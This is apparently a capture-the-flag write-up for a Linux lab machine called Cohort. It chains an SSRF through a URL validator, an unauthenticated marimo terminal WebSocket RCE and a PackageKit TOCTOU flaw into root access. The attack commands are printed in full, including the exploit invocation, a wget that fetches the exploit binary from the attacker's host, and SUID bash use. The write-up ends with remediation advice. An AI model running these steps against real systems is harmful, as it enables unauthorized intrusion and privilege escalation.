Linux malloc 7.1.6-terminal #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
root@malloc:~$ ls
root@malloc:~/writeup$ cat htb-cohort-the-denial-arrived-late
# HTB Cohort: The Denial Arrived Late | Aug 8, 2026

PackageKit denied my request.

This was a correct decision and no longer useful.

The installation had already been dispatched. A few seconds later, /tmp/.suid_bash had mode 4755, and Bash was preserving an effective UID of zero for me. Authorization had produced a fine answer to an old version of events.

This is the writeup for Cohort, a Linux CTF target tested in an authorized environment. The machine followed a stable doctrine: once a request had entered through an acceptable procedure, later changes to its nature were private matters. A hostname could become loopback after inspection. A terminal could become a shell after the login screen. A simulated transaction could become a package installation after approval.

The doctrine was consistent. I benefited from this.

Initial admission

The target answered with a TTL of 63, consistent with a Linux host starting at 64 and sitting one hop away:

terminal
malloc@kali:~/cohort $ ping -c 2 -W 2 10.129.77.152
64 bytes from 10.129.77.152: ttl=63 time=138 ms
64 bytes from 10.129.77.152: ttl=63 time=137 ms
2 packets transmitted, 2 received, 0% packet loss

I scanned the common TCP ports with default scripts and version detection, then all 65,535 TCP ports. The complete scan found no secret fourth door.

terminal
malloc@kali:~/cohort $ sudo nmap -Pn -sS -sV -sC --top-ports 1000 -oA nmap_initial 10.129.77.152
malloc@kali:~/cohort $ sudo nmap -Pn -sS -p- --min-rate 1500 --max-retries 2 -oA nmap_allports 10.129.77.152
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open http nginx 1.24.0 (Ubuntu)
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)

HTTP redirected to https://cohort.htb/, so I added the hostname locally:

terminal
malloc@kali:~/cohort $ sudo sh -c "echo '10.129.77.152 cohort.htb' >> /etc/hosts"

The TLS certificate used cohort.htb as its CN and listed both cohort.htb and *.cohort.htb in its SANs. A wildcard certificate is not proof of a subdomain, but it is written permission to become interested in one.

The front desk encrypted the directory

The main HTML was a shell around /assets/app.js. The JavaScript had two layers of obfuscation: a string-array wrapper and an AES-256-GCM encrypted payload.

I removed the first layer with webcrack:

terminal
malloc@kali:~/cohort $ npx --yes webcrack /tmp/cohort_app.js -o /tmp/cohort_deobfuscated.js

The resulting code exposed a Base64 key, IV, and ciphertext. Decrypting them locally with Node.js revealed /portal.html and the request made by the portal:

fetch("/api/validate", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    url: url,
    format: document.getElementById("format").value
  })
})

The portal accepted a report URL. The backend fetched it and returned the status code, content type, and a preview. I controlled where the server connected and received part of the response. That is the operational center of the SSRF; the rest is office furniture.

Content enumeration also found these routes:

/api                              301
/api/experiments                  405
/api/experiments/configurations   405
/status                           403

Direct access to /status was forbidden. Fortunately, the application had published a form for asking the server to access things directly.

A hostname of good character

Instead of requesting /status myself, I gave its URL to the validator:

terminal
malloc@kali:~/cohort $ curl -ksS -X POST https://cohort.htb/api/validate -H 'Content-Type: application/json' --data '{"url":"https://cohort.htb/status","format":"json"}' | jq .
{
"ok": true,
"fetched_status": 200,
"content_type": "application/json",
"preview": "{\"service\":\"cohort-edge\",...,\"host\":\"nb-1be3782a8afd3ad5.cohort.htb\",\"target\":\"127.0.0.1:8888\"}"
}

The backend accepted the string cohort.htb, resolved it, and made the request from inside the host. nginx now saw the connection arriving from 127.0.0.1. The same endpoint that returned 403 to me returned 200 to the server and disclosed an internal marimo workspace: nb-1be3782a8afd3ad5.cohort.htb, routed to 127.0.0.1:8888.

Source code recovered after initial access confirmed the defect. The validation rejected exact hostname strings such as 127.0.0.1 and localhost, but it did not resolve the supplied name and validate the resulting address before opening the connection. cohort.htb passed inspection as a public-looking name and became loopback later.

The hostname had changed location without changing its papers.

I added the newly disclosed virtual host:

terminal
malloc@kali:~/cohort $ sudo sh -c "echo '10.129.77.152 nb-1be3782a8afd3ad5.cohort.htb' >> /etc/hosts"

The page presented a marimo login screen. Authentication was therefore present in the visual sense.

The password governed the main entrance

The notebook later confirmed marimo version 0.20.4. That release is affected by CVE-2026-39987, a critical authentication bypass in /terminal/ws.

Other marimo WebSocket handlers call validate_auth(). In the vulnerable terminal handler, the server checks the session mode and terminal support, accepts the WebSocket, and forks a PTY. It does not validate authentication. The login screen protects routes that participate in the login screen.

I connected a WebSocket client directly to the terminal endpoint and wrote commands to the PTY:

terminal
malloc@kali:~/cohort $ env NO_PROXY='*' no_proxy='*' python3 marimo_terminal_rce.py 'wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws' 'id; whoami; hostname; pwd'
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo
cohort
/home/marimo

I control the messages sent to a WebSocket that accepts connections without a session. The handler attaches those messages to a PTY shell. This gives pre-authentication command execution as the account running the service, which was marimo on Cohort.

The fixed marimo release is 0.23.0. On 0.20.4, the password was not bypassed by guessing, stealing, or defeating it. The terminal had simply never joined its jurisdiction.

terminal
marimo@cohort:~ $ cat /home/marimo/user.txt
d48d8dc97c738c120364163fbf7aeea3

The absent service remained available

As marimo, the ordinary local checks were uneventful. The account had no useful sudo rule or supplementary group. The SUID files were standard for Ubuntu, capabilities offered no direct path, and no root timer or service referenced a file writable by marimo.

terminal
marimo@cohort:~ $ id
marimo@cohort:~ $ sudo -l
marimo@cohort:~ $ find / -perm -4000 -type f 2>/dev/null
marimo@cohort:~ $ getcap -r / 2>/dev/null
marimo@cohort:~ $ systemctl list-timers --all

D-Bus enumeration exposed PackageKit. It did not need to appear in the process list because D-Bus could activate it on demand. This is the Linux form of being out of the office but still accepting signed documents.

terminal
marimo@cohort:~ $ dpkg-query -W packagekit packagekit-tools
packagekit 1.2.8-2ubuntu1.2
packagekit-tools 1.2.8-2ubuntu1.2
marimo@cohort:~ $ pkcon --version
1.2.8

For Ubuntu 24.04, Canonical fixed CVE-2026-41651 in 1.2.8-2ubuntu1.5. Cohort still had 1.2.8-2ubuntu1.2.

The vulnerability is Pack2TheRoot, a TOCTOU flaw in PackageKit’s D-Bus transaction handling. The name suggests speed, but the exploit is more concerned with filing order.

The first draft became law

PackageKit runs as root and accepts calls such as InstallFiles(flags, [path]). A safety flag like SIMULATE describes an operation that must not modify the system, so that request can proceed without the polkit authorization required for a real installation.

The first asynchronous call uses SIMULATE (0x4) and points to a harmless package. PackageKit advances the transaction and schedules its execution in a GLib idle callback.

Before that callback runs, a second InstallFiles call on the same transaction supplies NONE (0x0) and a malicious .deb. The handler overwrites the cached flags and package path before attempting a backward state transition. The state machine rejects that transition, but it does not restore the data already replaced.

The callback eventually reads the current values rather than an immutable copy of what passed the safe path. It sees NONE and the malicious package, so the backend performs a real installation as root. The package’s postinst copies /bin/bash to /tmp/.suid_bash and sets mode 4755.

The transaction retained its official identity. Its contents had developed separately.

Both asynchronous D-Bus messages are sent before the client enters its main loop. On the server, GLib processes the D-Bus traffic before the idle callback. There is no delicate human race to win here. The paperwork is naturally faster than the work.

I used the public proof of concept by Vozec:

terminal
marimo@cohort:/tmp $ wget -q http://10.10.14.102:8000/pack2theroot/cve-2026-41651 -O /tmp/pack2theroot
marimo@cohort:/tmp $ chmod 700 /tmp/pack2theroot
marimo@cohort:/tmp $ /tmp/pack2theroot </dev/null
CVE-2026-41651 — PackageKit TOCTOU LPE
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 0 ms)
[+] SUCCESS — SUID bash at t+4400ms
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)

Error 48 is expected. The second call does fail to obtain authorization. By the time polkit returns that decision, the backend has already dispatched the installation using the overwritten transaction data.

The denial was not ignored. It was delivered to the future.

terminal
marimo@cohort:/tmp $ /tmp/.suid_bash -p -c 'id; whoami; cat /root/root.txt'
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
root
71955e1355f28a8ca7b44da40d2af893

The -p flag tells Bash to preserve its effective UID. Kernel privilege checks use the effective UID, so euid=0 was sufficient to read /root/root.txt.

Amendments

The SSRF validation needs to resolve the destination before making its decision and repeat that validation across redirects, rejecting loopback, private, and link-local addresses. The workspace should be upgraded to marimo 0.23.0 or later and kept away from networks that do not need its terminal. On Ubuntu 24.04, PackageKit should be at least 1.2.8-2ubuntu1.5; if the server has no use for PackageKit, its D-Bus activation can be removed with the rest of the unnecessary government.

After validation, I removed the PoC package and only the artifacts created during testing: the SUID Bash, the exploit binary, temporary .deb files, and LinPEAS under /tmp. A final check found no installed pk-poc-payload package and no /tmp/.suid_bash.

Port 22 remained open.